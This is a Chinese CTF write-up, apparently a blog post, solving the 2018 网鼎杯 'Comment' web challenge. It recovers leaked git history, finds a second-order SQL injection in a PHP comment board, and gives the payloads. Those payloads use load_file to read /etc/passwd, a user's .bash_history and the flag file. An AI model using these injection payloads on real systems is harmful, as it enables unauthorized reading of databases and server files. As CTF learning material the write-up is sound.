网鼎杯-2018-Comment

[网鼎杯 2018]Comment

学习了不少知识…………

进入题目是一个留言板,留言需要登录,先不管……发现存在git泄露,上githack:

write_do:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
include "mysql.php";
session_start();
if($_SESSION['login'] != 'yes'){
header("Location: ./login.php");
die();
}
if(isset($_GET['do'])){
switch ($_GET['do'])
{
case 'write':
break;
case 'comment':
break;
default:
header("Location: ./index.php");
}
}
else{
header("Location: ./index.php");
}
?>

关键这玩意没啥用啊……学习一波git恢复

gitExtract工具似乎会自动恢复泄露文件……回去试试……

git恢复

https://www.cnblogs.com/iamstudy/articles/wangding_4th_game_web_writeup.html

git reset 使用及回滚

git的工作区和暂存区

git log 详解

image-20210425204527594

提交一个文件的时候是分为git addgit commit两步的
git add的时候,是把文件临时放在临时区stage中
git commit的时候,是把临时区stage的所有内容提交到当前分支
当然这两个在objects目录都会生成一个对象文件,来存储数据。

我们使用 git add 命令将内容写入暂存区。 git commit 命令会将暂存区内容添加到本地仓库中

这里要结合GitHacker使用,githacker似乎在获取泄露文件上能够获取到更详尽的信息。

个人体验:GitHacker要在linux上用,需要python的requests……

这里我们通过:git log查看commit history:

image-20210424151445916

git reset回滚未commit版本前已经commit的网页源代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
<?php
include "mysql.php";
session_start();
if($_SESSION['login'] != 'yes'){
header("Location: ./login.php");
die();
}
if(isset($_GET['do'])){
switch ($_GET['do'])
{
case 'write':
$category = addslashes($_POST['category']);
$title = addslashes($_POST['title']);
$content = addslashes($_POST['content']);
$sql = "insert into board
set category = '$category',
title = '$title',
content = '$content'";
$result = mysql_query($sql);
header("Location: ./index.php");
break;
case 'comment':
$bo_id = addslashes($_POST['bo_id']);
$sql = "select category from board where id='$bo_id'";
$result = mysql_query($sql);
$num = mysql_num_rows($result);
if($num>0){
$category = mysql_fetch_array($result)['category'];
$content = addslashes($_POST['content']);
$sql = "insert into comment
set category = '$category',
content = '$content',
bo_id = '$bo_id'";
$result = mysql_query($sql);
}
header("Location: ./comment.php?id=$bo_id");
break;
default:
header("Location: ./index.php");
}
}
else{
header("Location: ./index.php");
}
?>

类似刚做过的CyberPunk,对输入做了转义,然而$category = mysql_fetch_array($result)['category'];却直接抓取了结果,也就是说,存在二次注入。

二次注入

1
2
3
4
5
$sql = "insert into comment
set category = '$category',
content = '$content',
bo_id = '$bo_id'";
$result = mysql_query($sql);

这里即是关键的注入点,content会取出未转义的单引号进行闭合

关键是如何构造,这是十分关键的

注意:这里的content是commend的content,不是帖子的content

这里的sql语句是多行的,注释需要用多行注释:

令category=’,content=database(),/,在留言中输入\/#:

1
2
3
4
5
$sql = "insert into comment
set category = '',content=database(),/*',
content = '*/#',
bo_id = '$bo_id'";
$result = mysql_query($sql);

这样构造,/**/注释掉跨行',#注释掉后面的单引号,content就会成功被我们劫持,我们在留言后语句就会成功执行完成注入。

但是注库名时发现没有回显,一番尝试……放弃……

load_file读取passwd:

https://www.cnblogs.com/songxingzhu/p/6364700.html

image-20210424155009903

最下面有一个www用户,目录为/home/www,默认shell为bin/bash,由此可以查一下该用户的shell历史:

.bash_history

https://blog.csdn.net/u011479200/article/details/86501366

命令记录.bash_history

查下/home/www/下的命令使用历史:

1
2
3
4
5
6
7
cd /tmp/ 
unzip html.zip
rm -f html.zip
cp -r html /var/www/
cd /var/www/html/
rm -f .DS_Store
service apache2 start

.DS_Store似乎是一种泄露,在网页上线前删掉了,但是/tmp/html中应该是存在的:

读取发现是乱码且显示不完整,用hex()读取:

1
2
Bud1
 strapIl bootstrapIlocblobF(������ comment.phpIlocblob�(��cssIlocblobR(������flag_8946e1ff1ee3e40f.phpIlocblob�(������fontsIlocblobF������� index.phpIlocblob����jsIlocblobR������� login.phpIlocblob�������� mysql.phpIlocblobF������vendorIlocblob������� write_do.phpIlocblobR������  @� @� @� @ E

发现flag_8946e1ff1ee3e40f.php,可以着手读flag了……

我寻思哪个目录下的flag文件应该都一样,结果不一样,必须读/var/www/html/下面的……

category=',content=hex(load_file("/var/www/html/flag_8946e1ff1ee3e40f.php")),/*

获得flag……

image-20210424160546854

……tql

作者

inanb

发布于

2021-04-24

更新于

2021-08-23

许可协议


:D 一言句子获取中...